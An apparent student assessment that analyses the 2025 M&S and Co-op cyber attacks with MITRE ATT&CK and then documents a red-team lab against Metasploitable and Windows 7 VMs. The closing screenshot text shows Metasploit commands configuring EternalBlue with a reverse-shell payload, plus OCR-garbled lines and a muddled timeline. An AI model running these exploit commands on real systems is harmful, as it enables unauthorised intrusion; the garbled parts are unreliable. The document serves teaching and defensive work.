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Abstract 
This assessment illustrates cyber attacks, ethical hacking, and practical security testing through both real-world investigation and a controlled virtual environment. The first section examines the incidents involving Marks & Spencer and the Co-operative Group in the United Kingdom. It reviews the event timeline, attacker behaviour, possible entry methods, control weaknesses, human factors, detection gaps, and response actions. MITRE ATT&CK is used to connect observed activity with recognised tactics and techniques. The findings are then used to suggest suitable measures for stronger protection, monitoring, access control, and incident handling.

The practical section presents a red team engagement for the fictional company ABCD Ltd. A safe laboratory will contain at least three virtual machines with separate roles and vulnerable services. Different exploitation methods will be carried out within authorised boundaries to demonstrate an end-to-end attack path. Evidence such as screenshots, logs, network captures, and system artefacts will support each stage. The work also considers lab isolation, rollback planning, tool selection, forensic traces, and detection limitations. Finally, the results are reviewed from a business point of view, with clear recommendations aimed at reducing risk, improving resilience, and helping the organisation respond more effectively to future threats.
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[bookmark: _Toc237779271][bookmark: _Toc237779500]Strategic Threat Analysis: M&S & Co-op UK Cyber Attack

[bookmark: _Toc237779272][bookmark: _Toc237779501]1.1 Introduction
 In April 2025, Marks & Spencer (M&S) and the Co-operative Group (Co-op), two well-known UK retailers, were affected by serious cyber incidents that disrupted normal business services and raised concerns about customer data. M&S reported problems across several services and later paused online orders while it worked to protect its systems. The company also confirmed that some customer information had been taken during the incident [1].Co-op experienced a similar attack during the same period, where attackers gained access to one of its systems and copied data. The organization restricted access to parts of its environment to contain the incident and reduce further damage [2]. 

These incidents are important because their effects went beyond technical systems. Disrupted online services, changes to daily operations, possible exposure of personal information, and pressure on recovery teams showed how a cyber attack can quickly become a wider business problem. The National Cyber Security Centre also became involved with the affected retailers, showing the wider concern created by attacks against major UK organizations [3].

This analysis examines how the incidents developed, the methods used by the attackers, possible security weaknesses, threat actor behavior, and the effectiveness of detection and response. MITRE ATT&CK is used to connect reported activity with recognized attack techniques. The purpose is not only to explain what happened, but also to understand why the attacks were successful and identify practical security improvements that could reduce similar risks in the future.



[bookmark: _Toc237779273][bookmark: _Toc237779502]1.2 Incident Summary and Evidence-Based Timeline
The cyber incidents affecting Marks & Spencer and Co-op developed during the same period and caused serious disruption to normal retail operations. M&S first experienced problems across several customer-facing services, including online ordering and Click & Collect. As part of its response, the company temporarily stopped online orders while technical teams worked to contain the incident and protect its systems [4]. The disruption showed that the attack had moved beyond a simple IT problem and was beginning to affect everyday business activities.

Co-op faced a similar situation shortly afterwards. The organization restricted access to parts of its internal systems after detecting unauthorized activity. Further investigation confirmed that information had been taken from one of its systems [5]. Although some services continued to operate, the incident affected internal processes and created concern around the protection of customer and member information.

The close timing of both incidents increased concern across the UK retail sector. The National Cyber Security Centre became involved and provided support to affected organizations [6]. This was important because it showed that the incidents were being treated as more than isolated technical problems.

Evidence-Based Timeline
	Period
	Main Development

	Late April 2025
	M&S identifies disruption and begins containment activities

	Late April 2025
	Online ordering is temporarily stopped while systems are investigated

	End of April 2025
	Co-op restricts access to parts of its IT environment

	Early of April 2025
	Co-op confirms that information was extracted from its systems

	Early of April 2025
	NCSC confirms that it is supporting organizations affected by the retail incidents

	Following weeks 
	Both organizations continue investigation, recovery and service restoration activities.



The timeline shows how quickly cyber activity can move from initial system access to wider operational disruption. It also provides the basis for examining the attack methods, security weaknesses and adversary behavior in the following sections.
[bookmark: _Toc237779274][bookmark: _Toc237779503]1.3 Adversary TTP and MITRE ATT&CK Mapping 

MITRE ATT&CK provides a clear way to turn incident reporting into an attack path. A tactic explains what the attacker is trying to achieve, a technique shows how that goal may be reached, and the procedure describes how the activity is carried out in a real environment. This is useful because a cyber incident should not be judged only by the malware involved; identity abuse, user behavior, remote access and data handling can be equally important [7].

Public reporting linked the UK retail attacks with activity associated with Scattered Spider and DragonForce, but this attribution was not fully confirmed at the time. The NCSC stated that there were still unknowns and that it was not yet able to say whether the retail incidents formed one campaign [8]. It also noted reports of social engineering against IT help desks to obtain password or MFA resets. For this reason, the mapping below separates known Scattered Spider behavior from campaign-level interpretation rather than presenting every technique as proven at both M&S and Co-op.

Table 1: MITRE ATT&CK Mapping of Campaign-Relevant TTPs
	Attack Stage 
	MITRE ID
	Technique
	Why it is Relevant

	Reconnaissance
	T1589.001
	Gather Victim Identity Information: Credentials
	Employee details or previously exposed information can support convincing impersonation before direct access is attempted.

	Initial Access
	T1566.004
	Phishing: Spearphishing Voice
	Scattered Spider is known for calling users or support staff and using voice-based social engineering to gain access.

	Initial Access
	T1078
	Valid Accounts
	Once genuine credentials are obtained, attackers can enter systems while appearing similar to a normal user.

	Persistence
	T1556.006
	Modify Authentication Process: MFA
	Changing or adding an MFA method can allow continued access even after an account password is changed.

	Persistence
	T1098.005
	Account Manipulation: Device Registration
	Registering an attacker-controlled device can create another trusted route back into the victim environment.

	Discovery
	T1087.002
	Account Discovery: Domain Account
	Finding normal and privileged accounts helps the attacker identify users with wider access.

	Initial Access / Persistence
	T1133
	External Remote Services
	VPN, Citrix or legitimate remote tools can provide continued remote access using compromised identities.

	Collection
	T1213.002
	Data from Information Repositories: SharePoint
	Internal repositories may contain operating guides, network information, credentials or other useful company material.

	Collection
	T1074
	Data Staged
	Information may be gathered into one location before it is removed, making large-scale theft easier to organise.

	Exfiltration
	T1567.002
	Exfiltration to Cloud Storage
	Stolen information can be moved to external cloud storage, blending the transfer with common web traffic.

	Impact
	T1486
	Data Encrypted for Impact
	Ransomware can make systems or files unavailable and increase pressure on the victim to respond or pay.



These technique names and IDs are consistent with MITRE ATT&CK's current Scattered Spider profile, which records heavy use of social engineering, valid accounts, MFA manipulation, account discovery, remote services, data collection, exfiltration and ransomware-related impact [9].

The most important feature of this attack pattern is that the opening step may depend more on trust than on a software weakness. A help-desk worker can legitimately reset passwords or authentication methods, so an attacker who successfully impersonates an employee may turn a normal support process into an access path. From there, valid accounts can reduce obvious signs of intrusion. Discovery then helps identify valuable systems and privileged identities, while collection and exfiltration create the basis for extortion. If ransomware is added later, the same access can also be used to interrupt operations.

The attack pattern shows how social engineering can be combined with stolen identities, remote access, data theft, and extortion activity to increase the overall impact of an intrusion [10]. Large organizations may face greater risk where password resets, MFA changes, and user verification are handled across busy or outsourced support teams. This creates opportunities for attackers to abuse trusted processes rather than relying only on technical vulnerabilities. The M&S and Co-op incidents therefore highlight the need to strengthen identity verification, privileged access controls, authentication changes, and help-desk procedures alongside traditional endpoint and network security. Protecting these areas can reduce the chance that a single compromised account develops into wider access, data exposure, or operational disruption.



[bookmark: _Toc237779275][bookmark: _Toc237779504] 1.4 Root Causes and Security Control Failures
The incidents affecting M&S and Co-op show that a serious breach does not always begin with a complex software exploit. Available evidence points towards weaknesses around identity verification, authentication changes, and trusted support processes. The exact technical root cause of each incident has not been fully disclosed, so it would be unsafe to claim one confirmed entry point. However, reported activity around help-desk social engineering and password or MFA resets provides a strong basis for examining the control failures involved [11].
Key Security Control Failures
	Area
	Control Weakness
	Security Effect

	Human
	Help-desk staff may be manipulated through convincing impersonation
	Attackers can obtain account access without exploiting software

	Identity
	Weak verification before password or MFA changes
	A stolen identity can become a valid authenticated session

	Access Control
	Excessive permissions or weak privilege separation
	One compromised account may provide access to wider systems

	Network
	Limited segmentation between important services
	Intruders may move from one area into more sensitive environments

	Monitoring
	Authentication changes or unusual remote access not detected quickly
	Malicious activity can continue before security teams respond

	Process
	Recovery and access-change procedures may not include stronger checks
	Trusted business processes can become part of the attack path



The human factor appears particularly important. Support teams are designed to help legitimate users regain access quickly, but this creates risk when identity checks depend mainly on information that an attacker may already know. A convincing caller who obtains a password reset or MFA change can appear to the system as a genuine employee. Security therefore depends not only on staff awareness, but also on procedures that prevent one person from approving high-risk authentication changes without additional verification [12].

A second issue is identity and privilege management. Once a valid account is controlled, weak separation between normal and privileged access can increase the scale of the breach. Strong least-privilege rules, separate administrative accounts, and tighter controls around MFA registration reduce the chance that one compromised identity develops into wider access.

The third weakness concerns detection and system design. Changes to authentication methods, unusual account activity, unexpected remote connections, and access to sensitive repositories should produce security signals. Current guidance for identity-focused attacks recommends stronger monitoring of these events and tighter control of password and MFA resets [13].

Overall, the root cause should be viewed as a combination of people, process, identity controls, and technical protection, rather than one failed security product. This is important because improving only endpoint protection would leave the trusted access processes that attackers may exploit largely unchanged.


[bookmark: _Toc237779276][bookmark: _Toc237779505]1.5 Threat Actor Profile, Attribution and Motive
The available evidence suggests a financially motivated cyber-criminal operation rather than espionage or state-backed activity. Public reporting has linked the incidents with activity associated with Scattered Spider, while ransomware activity has also been connected with the DragonForce ecosystem. However, attribution must be treated carefully. There was not enough public evidence to confirm that both retailers were attacked by one group or that every stage was completed by the same operators [14].
Threat Actor Profile
	Area
	Assessment

	Likely actor
	Scattered Spider-style activity

	Actor type
	Organised cyber-criminal group

	Main motive
	Financial gain and extortion

	Key strength
	Social engineering and identity abuse

	Typical targets
	Large organisations with valuable data

	Capability
	High and adaptable

	Attribution confidence
	Plausible, but not fully confirmed



The likely threat profile depends less on highly complex malware and more on the ability to manipulate people and trusted business processes. Techniques associated with this activity include impersonating employees, contacting support teams, abusing password or MFA reset procedures, and using genuine accounts to enter corporate environments. This shows a strong understanding of how large organizations operate. The capability can therefore be considered high, even when the first stage of an attack appears technically simple.

Financial gain appears to be the strongest motive. Related threat activity has moved towards data theft, ransomware and extortion, where stolen information and operational disruption can both be used to pressure a victim [15]. Retail companies are attractive targets because they hold large amounts of customer information and depend heavily on digital systems for sales, stock movement, payments and everyday operations.

A secondary motive may involve gaining recognition within cyber-criminal communities. Successfully disrupting a well-known organization can bring attention to an attacker or ransomware affiliate. However, this should be treated as a supporting motive rather than the main purpose of the incidents.

Understanding a threat actor requires consideration of its intent, capability, opportunity and target environment rather than relying only on a group name [16]. In this case, the combination of social engineering, identity abuse, data theft and possible ransomware activity suggests an organized and flexible adversary. The most balanced assessment is therefore a plausible connection to Scattered Spider-style activity, while keeping final attribution open until stronger technical or law-enforcement evidence becomes available.

[bookmark: _Toc237779277][bookmark: _Toc237779506]1.6 Detection and Incident-Response Analysis
The response to the incidents shows that both organizations took action once suspicious activity became serious. Important services were restricted or taken offline to reduce further damage, while specialist teams worked on investigation and recovery. M&S temporarily stopped online orders as part of its containment process, showing that protecting the wider environment was prioritized over maintaining every customer service [17].
	Area
	Positive Response
	Main Gap

	Detection
	Suspicious activity was eventually identified
	Earlier identity-based activity may have appeared legitimate

	Containment
	Systems and services were restricted
	Business disruption became significant

	Recovery
	Investigation and restoration followed
	Recovery required considerable time and operational effort



The main concern is early detection. When attackers use genuine accounts obtained through social engineering, normal security tools may not immediately recognize the activity as malicious. Monitoring should therefore include unusual password resets, MFA changes, new device registration, privileged-account activity and unexpected remote access [18].

Effective incident response depends on preparation, clear responsibilities, communication, containment and recovery procedures rather than decisions made only after an attack begins [19]. Overall, the response reduced further harm, but the incidents show that stronger identity monitoring and earlier warning signals could help detect similar activity before it develops into major operational disruption.


[bookmark: _Toc237779278][bookmark: _Toc237779507]1.7 Strategic Recommendations
The incidents show that future protection should focus strongly on identity, access control, monitoring, and recovery, rather than depending only on endpoint security. Improvements should be introduced according to risk and business importance.

Priority Security Improvements
	Priority
	Recommendation
	Benefit
	Effort / Cost

	High
	Introduce phishing-resistant MFA and stronger identity checks for password or MFA resets
	Reduces account takeover through social engineering
	Medium

	High
	Apply least privilege and separate administrator accounts
	Limits damage if one identity is compromised
	Medium

	High
	Monitor unusual logins, MFA changes, new devices and privileged activity
	Provides earlier warning of identity abuse
	Medium

	Medium
	Segment critical systems from normal user and retail networks
	Restricts lateral movement between services
	High

	Medium
	Maintain tested offline backups and incident-response exercises
	Supports faster and safer recovery
	Medium



Help-desk procedures should require additional verification before sensitive account changes, especially for privileged users [20]. Phishing-resistant authentication and tighter control of MFA registration would make stolen passwords less useful to attackers [21].

Security monitoring should also collect authentication logs, VPN activity, privilege changes and access to important data. Clear response roles, regular exercises and tested recovery procedures help ensure that unusual activity can be contained before it develops into wider disruption [22]  .

These measures should be introduced in stages, beginning with identity protection and monitoring because they directly address the weaknesses highlighted by the incidents.


























[bookmark: _Toc237779279][bookmark: _Toc237779508]TASK 2
[bookmark: _Toc237779280][bookmark: _Toc237779509]Red Team Engagement: ABCD Ltd

[bookmark: _Toc237779281][bookmark: _Toc237779510]Executive Brief
ABCD Ltd has requested an authorized red team engagement to understand how well its systems could resist a realistic cyber attack. The purpose of this assessment is to test security controls, identify weaknesses, and review how effectively suspicious activity could be detected and contained. All testing will be carried out inside a controlled virtual laboratory so that no real organization, public service, or external system is placed at risk.
The laboratory will include a Kali Linux attacker machine and at least three vulnerable target virtual machines representing different business roles. These systems will be placed on an isolated network and tested only within the agreed scope. Before any intrusive activity begins, snapshots and backups will be created so that affected machines can be safely restored. Rules of Engagement will define the permitted techniques, excluded actions, communication process, stop conditions, and legal and ethical boundaries.
The engagement will follow a structured attack path covering reconnaissance, service discovery, exploitation, privilege-related activity, access to dummy sensitive information, evidence collection, and cleanup. Three separate exploits will be tested against different services or target systems. The activity will also be mapped to relevant MITRE ATT&CK techniques so that the attack behavior can be compared with methods used by real threat actors.
Evidence will be collected throughout the exercise using screenshots, system logs, network captures, command output, and forensic artefacts. This will help show not only whether an attack succeeded, but also whether the activity could have been detected by security controls.
The final assessment will consider both technical and business risk. Particular attention will be given to weaknesses that could lead to unauthorised access, exposure of customer information, loss of administrative control, or service disruption. Recommendations will then be prioritised according to risk, with a focus on patching vulnerable services, improving access controls, strengthening monitoring, separating important systems, and improving incident-response readiness.
The overall aim is to give ABCD Ltd a clear understanding of where its defenses are strong, where gaps may exist, and which security improvements should be addressed first.



[bookmark: _Toc237779282][bookmark: _Toc237779511]2.1 Engagement Background and Objective
ABCD Ltd is a fictional UK-based company that provides web-facing retail services together with internal corporate systems. As part of this assessment, the organisation has requested an authorized red team engagement to understand how effectively its security controls could resist a realistic cyber attack. The exercise will be completed inside a controlled virtual laboratory so that all activity remains safe, legal, and separate from real-world systems.
The engagement is designed to test more than a single vulnerability. It will follow an end-to-end attack path, beginning with reconnaissance and service identification before moving into exploitation, privilege-related activity, access to protected information, evidence collection, and controlled cleanup. At least three vulnerable target virtual machines will be used, with each machine representing a different system or business role. Three separate exploits will also be demonstrated against different services or attack surfaces. 
The main objectives of the engagement are to: 
· identify exposed services and weaknesses within the lab environment.
· demonstrate how separate vulnerabilities could be combined into a wider attack path.
· assess whether existing controls could prevent or detect suspicious behavior.
· collect clear technical and forensic evidence from each important stage.
· evaluate the possible business impact of successful compromise.
· recommend practical improvements based on the findings. 
Success will be measured by achieving a clearly defined objective within the agreed scope, such as gaining access to dummy sensitive information or obtaining privileged control of a target system. The purpose is not simply to prove that exploitation is possible, but to understand how weaknesses develop into wider security risk and how ABCD Ltd could reduce that risk. 

[bookmark: _Toc237779283][bookmark: _Toc237779512]2.2 Scope and Rules of Engagement Summary
The red team engagement will be carried out only within the approved virtual laboratory created for ABCD Ltd. The scope is limited to the systems, services, and network ranges defined before testing begins. No real company infrastructure, public website, external service, or third-party system will be targeted during the exercise.
Scope Summary
	Area
	Agreed Condition 

	In Scope
	Kali Linux attacker machine and three authorised vulnerable target VMs

	Permitted Activity
	Reconnaissance, service enumeration, controlled exploitation, privilege testing, evidence collection, and cleanup

	Out of Scope
	Real organisations, public IP addresses, personal devices, external cloud services, and unrelated networks

	Sensitive Data
	Only dummy or test information will be used

	Network Safety
	The lab will remain isolated from external victim infrastructure

	Recovery
	VM snapshots and backups will be created before intrusive testing



All activity must remain within the agreed technical and ethical boundaries. Testing will stop immediately if unexpected behaviour affects systems outside the lab, creates uncontrolled instability, or produces a risk that cannot be safely managed. A clear kill-switch or safe-word procedure will be available so that testing can be paused when required.
Communication and escalation procedures will also be defined. Any serious finding, unexpected system failure, or scope concern must be recorded and reported before further activity continues. Evidence will be collected carefully and stored without unnecessary personal or sensitive information.
The Rules of Engagement also require the tester to use only approved techniques and tools. Destructive actions, uncontrolled denial-of-service activity, real credential theft, persistence outside the laboratory, and any attempt to contact external systems are prohibited.
A full signed Rules of Engagement document will be included separately in the appendix. This summary provides the main boundaries that keep the penetration test controlled, repeatable, and legally and ethically acceptable.

[bookmark: _Toc237779284][bookmark: _Toc237779513]2.3 Methodology and Threat-Emulation Plan 
The engagement will follow a structured penetration-testing method so that each activity has a clear purpose and remains within the approved scope. Testing will move from understanding the target environment to controlled exploitation, evidence collection, and recovery. This approach helps ensure that vulnerabilities are not tested as separate technical problems but are considered as possible stages of a wider attack path [23].
Planned Engagement Method
	Phase
	Planned Activity
	Expected Evidence

	1. Preparation
	Confirm scope, target VMs, network boundaries, snapshots and safety controls
	Lab configuration and snapshot evidence

	2. Reconnaissance
	Identify active hosts, exposed ports and available services
	Scan results and screenshots

	3. Enumeration
	Examine discovered services and identify possible weaknesses
	Service/version information

	4. Exploitation
	Carry out three approved exploits against different targets or services
	Evidence of successful controlled access

	5. Post-Exploitation
	Confirm access level and attempt the agreed end objective using dummy data
	Access and objective evidence

	6. Detection Review
	Examine logs, network traffic and system artefacts created by the activity
	Logs, PCAP and forensic evidence

	7. Cleanup
	Remove test artefacts and restore affected VMs where required
	Cleanup and rollback evidence



The threat-emulation plan will map important stages to the MITRE ATT&CK Enterprise framework [24]. Planned behaviour includes network and service discovery, exploitation of an authorised vulnerable service, privilege-related activity where supported by the target, collection of dummy information, and controlled access to the final objective. The exact MITRE technique IDs used in the final report will match the actions that are actually completed rather than techniques that were only planned.

The campaign will aim to show how an attacker could move from an initially exposed weakness towards a more valuable target. For example, successful access to one vulnerable service may provide information or privileges that support the next stage. However, testing will stop where an action falls outside the Rules of Engagement.

Success will require three separate validated exploits, clear evidence from each important stage, achievement of the agreed end objective, and enough logging or forensic information to assess whether the activity could have been detected. This creates a repeatable attack story while keeping the exercise controlled and suitable for an academic red-team assessment.

[bookmark: _Toc237779285][bookmark: _Toc237779514]2.4 Laboratory Design, Containment and Safety
	Kali Linux 
	192.168.56.107

	Metasploitable
	192.168.56.104

	Windows 7
	192.168.56.101
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Figure 2.4.1 — VM laboratory overview
The practical environment was designed as a contained virtual laboratory so that red-team activities could be completed without affecting external systems. Virtual machines were connected through a private host-only network, which provided communication between the attacker and target systems while preventing direct exposure to the public Internet. Kali Linux was used as the assessment workstation, while Windows and intentionally vulnerable systems were used as targets.
[image: ][image: ]
Figure 2.4.2 — Host-only/Internal Network
Each virtual machine was assigned a private IP address from the same subnet. This made the environment predictable and easier to monitor. Before any security testing was carried out, a clean snapshot of each target was created. This allowed the environment to be restored after testing and reduced the risk of permanent changes.
[image: ][image: ][image: ]
Figure 2.4.3 — IP verification
Containment was treated as an important safety requirement. Bridged networking was avoided because it could expose vulnerable systems to the wider network. Only test accounts and synthetic information were used, and no real personal, organisational or customer data was stored in the environment. Logging was enabled so that important events could later be reviewed during the detection and forensic analysis stage.



[image: ]
Figure 2.4.4 — Snapshot
These controls created a repeatable and controlled environment for security testing while keeping the exercise within the authorised scope.

[bookmark: _Toc237779286][bookmark: _Toc237779515]2.5 Offensive Tools and Techniques
Offensive security tools are used only within an authorised and isolated virtual laboratory. The purpose is to simulate realistic attacker behaviour in a safe way so that weaknesses can be identified, tested and documented without affecting any real system or network.
The main tools used in the lab include Nmap for host and service discovery, Wireshark for observing network traffic, and the Metasploit Framework for controlled validation of known vulnerabilities. Where web applications are included, tools such as Burp Suite or OWASP ZAP can be used to inspect requests, responses and common security weaknesses. Password-auditing tools may also be used against test accounts created specifically for the exercise.
The techniques applied are limited to harmless activities such as reconnaissance, service enumeration, vulnerability identification, basic exploitation validation, privilege testing within the VM, and evidence collection. No real user data, public systems or third-party networks are targeted.
To reduce risk, the virtual machines are kept on an isolated network, snapshots are taken before testing, and systems are restored after the exercise. This ensures that the offensive work remains controlled, repeatable and aligned with ethical hacking principles.
Here we only take a Nmaping kali to metaslpotable.
[image: ]
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Figure 2.5.1: Nmap Service and Operating System Detection on the Authorised Metasploitable VM


[bookmark: _Toc237779287][bookmark: _Toc237779516]2.6 Operational Execution and Exploitation
Operational execution and exploitation is the stage of ethical hacking where identified vulnerabilities are tested in a controlled environment to confirm whether they can be used to gain access, increase privileges, or affect a system. Its purpose is to move beyond theoretical findings and show the security impact of a weakness. This stage is important because it helps organisations understand which vulnerabilities create risk and which controls need improvement. It is performed using authorised tools and predefined rules of engagement. However, exploitation can be harmful if it is uncontrolled, because it may cause data loss, service disruption, system damage, or unauthorised access. Therefore, testing must remain limited and properly documented.
[bookmark: _Toc237779288][bookmark: _Toc237779517]2.6.1 Reconnaissance and Enumeration 
Reconnaissance and enumeration are early stages of ethical hacking used to understand a target system before testing begins. Reconnaissance gathers general information, such as IP addresses, network ranges, operating systems and available services. Enumeration then collects detailed information, including open ports, service versions, usernames, hostnames and shared resources. These stages are important because they reveal the attack surface and help testers identify areas that may require further investigation. In an authorised lab, tools such as Nmap can support this process. However, if performed without permission, the collected information could help attackers identify weaknesses and prepare more targeted attacks against systems.
[bookmark: _Toc237779289][bookmark: _Toc237779518]2.6.2 Exploit One
The first exploit was performed against the Windows 7 virtual machine within the isolated laboratory environment. The purpose was to demonstrate how an outdated operating system can expose network services to known vulnerabilities. Initial reconnaissance was carried out from Kali Linux to confirm that the target was reachable and to identify services available on the Windows system. Particular attention was given to SMB, which commonly operates through TCP port 445.
After confirming the service, the vulnerability was assessed in the authorised test environment using Metasploit. The test demonstrated that an unpatched Windows 7 system could potentially allow an attacker to gain unauthorised remote access when vulnerable SMB components are exposed. Successful exploitation was verified only through limited, non-destructive evidence, such as confirming a controlled session and viewing basic system information.
A screenshot should be included showing the vulnerable service and the successful controlled test. This practical activity demonstrates the security risks created by unsupported software, missing security patches, and unnecessary exposed services. Recommended controls include regular patching, disabling obsolete SMB versions, restricting port 445, network segmentation, and upgrading unsupported operating systems.
[image: ][image: ][image: ][image: ]
Figure 2.6.1.1: Exploit machine one, Windows 7 



[bookmark: _Toc237779290][bookmark: _Toc237779519]2.6.3 Exploit Two 
The second exploit was conducted against the Metasploitable virtual machine, which was intentionally configured with vulnerable services for ethical-hacking practice. The objective was to demonstrate how an outdated FTP service can create a serious security weakness when it is exposed on a network. Kali Linux was first used to confirm that the target system was reachable and to identify the FTP service running on TCP port 21. The service version was then reviewed to determine whether it was associated with a known vulnerability.
Within the isolated laboratory, the vulnerable FTP service was tested using Metasploit in a controlled manner. The activity demonstrated how insecure or outdated software can provide an attacker with unauthorised access to a system. Testing was limited to verification of access and basic system information, with no modification, deletion, or disruption of data.
A screenshot can be inserted showing service discovery and the successful controlled session. This exploit highlights the importance of software updates, secure service configuration, network segmentation, firewall restrictions, and removing unnecessary or unsupported services from production systems.
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Figure 2.6.1.1: Exploit machine one, Metasploitable  

[bookmark: _Toc237779291][bookmark: _Toc237779520]2.6.4 End-to-End Objective, Post-Exploitation and Cleanup
The end-to-end objective of the practical engagement is to demonstrate the complete security-testing process from initial discovery to controlled exploitation, evidence collection, post-exploitation validation, and final cleanup. Rather than treating each exploit as an isolated activity, this stage shows how the individual tests connect together within one authorised laboratory assessment.
Post-exploitation takes place after successful access has been achieved on a target virtual machine. Its purpose is not to cause damage, but to understand what level of access was obtained and what security impact that access could create. In the laboratory, this may include confirming the compromised system, checking the current user or privilege level, reviewing basic host information, and identifying whether sensitive resources could potentially become accessible. Only the minimum evidence required for the assessment should be collected. This helps demonstrate the possible business impact of a vulnerability without unnecessarily changing the target system.
This activity is performed only inside the isolated virtual environment, such as Kali Linux communicating with intentionally vulnerable Windows or Metasploitable machines. Keeping the testing environment separated from production networks prevents accidental impact on real systems.

Cleanup is the final and essential stage of the exercise. Any temporary files, test accounts, sessions, configuration changes, payloads, or other artefacts created during testing should be removed where applicable. Virtual machines can also be restored to a clean snapshot after evidence has been captured.
This stage is important because professional ethical hacking requires both successful testing and responsible restoration. It proves that vulnerabilities can be validated safely while maintaining system integrity, preserving evidence, reducing unnecessary risk, and leaving the laboratory environment in a controlled condition.

[bookmark: _Toc237779292][bookmark: _Toc237779521]2.7 Detection, Forensic Evidence and Gap Analysis 
Detection, forensic evidence, and gap analysis are important parts of an ethical hacking assessment because they show whether an organisation can identify suspicious activity, preserve useful evidence, and understand weaknesses in its existing security controls. Exploitation may demonstrate that a vulnerability exists, but detection and forensic analysis explain how the activity could be recognised and investigated by a security team.
Detection refers to the process of identifying unusual or malicious behaviour within systems and networks. During an authorised red-team exercise, activities such as repeated connection attempts, network scanning, access to unusual services, failed logins, or unexpected communication between machines may create detectable events. Security tools such as firewalls, intrusion detection systems, endpoint monitoring solutions, SIEM platforms, and network monitoring software can collect these events. Effective detection is important because organisations cannot respond to an attack that they do not know is happening. Detection controls should therefore provide timely alerts with enough information for analysts to understand the source, destination, time, protocol, and possible purpose of the activity.
Forensic evidence is the information collected after or during a security event that can be used to understand what happened. This may include system logs, authentication records, network packets, firewall logs, timestamps, file changes, running processes, and user activity. In the laboratory environment, forensic evidence helps connect the actions performed from the Kali Linux machine with the behaviour observed on the target systems. Evidence should be collected carefully because incorrect handling may reduce its reliability. Important information should be documented with accurate timestamps and clear descriptions so that another investigator could understand the sequence of events.
The next stage is gap analysis. Gap analysis compares the security controls that should exist with the controls that are actually working. For example, if a scanning activity can be seen in captured network traffic but produces no security alert, this indicates a monitoring or detection gap. Similarly, successful access without suitable authentication alerts may indicate weaknesses in access-control monitoring.
The findings from the gap analysis can be used to recommend improvements such as stronger logging, centralised monitoring, improved alert rules, endpoint detection, network segmentation, regular log reviews, and better incident-response procedures.

Overall, this section connects offensive testing with defensive security. It demonstrates not only whether an attack technique was possible, but also whether the organisation would have enough visibility and evidence to detect, investigate, contain, and learn from the activity.
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Figure 2.7.1: IP Address Identification of the Red-Team Laboratory Systems
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Figure 2.7.2: Wireshark Evidence of SMB Communication During Exploit One
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Figure 2.7.3: Windows Security Event Logs Collected After Exploit One
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Figure 2.7.4: Network Evidence of FTP Activity During Exploit Two
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Figure 2.7.5: Metasploitable Log Evidence Associated with FTP Testing
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Figure 2.7.6: HTTP Network Traffic Captured During Exploit Three
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Figure 2.7.7: Apache Access Log Evidence Generated During Web Application Testing
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Figure 2.7.8: SHA-256 Hash Verification of Collected Forensic Evidence

	Activity
	Network Evidence
	Host/Server Evidence
	Detection Gap

	Exploit One – SMB
	TCP 445 traffic visible
	Windows events may be present
	Limited automatic alerting

	Exploit Two – FTP
	FTP traffic visible
	FTP/auth logs available
	Weak detection of suspicious activity



Table 2.7.1: Detection and Forensic Evidence Gap Analysis


[bookmark: _Toc237779293][bookmark: _Toc237779522]2.8 Business-Risk Evaluation and Remediation 
Business-risk evaluation translates the technical findings from the practical assessment into risks that can be understood from an organisational perspective. A vulnerability is important not only because it can be exploited, but also because it may affect business operations, sensitive information, customers, and organisational reputation. The findings identified during the laboratory testing were therefore evaluated according to their likelihood of exploitation and potential impact.
	Identified Risk
	Likelihood
	Impact
	Risk Level
	Recommended Remediation

	Vulnerable or outdated service
	High
	High
	Critical
	Patch or upgrade the service and remove unsupported versions

	Weak authentication controls
	High
	High
	Critical
	Apply strong passwords and multi-factor authentication

	Unnecessary open network ports
	Medium
	High
	High
	Disable unused services and restrict access through firewall rules

	Poor network monitoring
	Medium
	High
	High
	Improve logging, IDS monitoring and regular security reviews


From a business-impact perspective, successful exploitation could compromise confidentiality by exposing sensitive information, affect integrity through unauthorised modification, or reduce availability by interrupting important systems. Such incidents may also cause operational delays, financial losses, customer dissatisfaction, regulatory concerns and reputational damage.

Remediation should therefore follow a risk-based approach. Critical vulnerabilities should be addressed first through patch management, secure authentication, network segmentation and restricted service access. Regular vulnerability scanning and centralised logging should also be introduced to identify future weaknesses earlier.

Even after these controls are implemented, some residual risk will remain because no system can be completely protected. The organisation should continuously monitor its environment, reassess vulnerabilities and review security controls to keep the remaining risk within an acceptable level.

[bookmark: _Toc237779294][bookmark: _Toc237779523]2.9 Conclusion
This assessment showed how ethical hacking can be used to identify real security weaknesses in a controlled and authorised environment. The practical work demonstrated how scanning, exploitation, detection and evidence collection connect with business risk. It also showed that technical vulnerabilities can lead to wider problems such as data exposure, service disruption, financial loss and damage to customer trust. The findings highlight the importance of patching, strong authentication, network monitoring, logging and regular security reviews. Overall, the exercise improved understanding of both attacker and defender perspectives and showed why continuous security testing and risk management are essential for protecting organisations.
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RHOSTS => 192.168.56.101

msf5 exploit(windows/smb/ms17_016_eternalblue) > set LHOST 192.168.56.107

LHOST => 192.168.56.107

msf5 exploit(windows/smb/ms17 010 eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp

msf5 exploit(windows/smb/ms17_016_eternalblue) > run

[*] Started reverse TCP handler on 192.168.56.107:4444
[-] 192.168.56.101:445 - Exploit aborted due to failure: not-vulnerable: Set ForceExploit to override
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/ms17_010_eternalblue) > D

Haw SR B0imEUBMOOv 2@0BEE ol caw Jmu




image16.png
®) kaii 20193 Ru

Fle  Machine  View  Input Devices  Help
Applications ~ Places v [ Terminal ~ Sun06:38 » .U H

root@osboxes: ~ Cantdrop data o guest. %

File Edit View Search Terminal Help

msf5 exploit(windows/smb/ms17_016_eternalblue) > exit
root@oshoxes:~# nmap -sV -p 21 192.168.56.104

Starting Nmap 7.80 ( https://nmap.org ) at 2026-08-16 06:37 EDT
Nmap scan report for 192.168.56.104

Host is up (0.0018s latency).

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

MAC Address: 08:00:27:62:BF:C1 (Oracle VirtualBox virtual NIC)
Service Info: 0S: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 13.51 seconds
root@osboxes:~# [J
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root@osboxes: ~ Cantdrop data o guest. %

File Edit View Search Terminal Help

msf5 exploit(windows/smb/ms17_016_eternalblue) > exit
root@oshoxes:~# nmap -sV -p 21 192.168.56.104

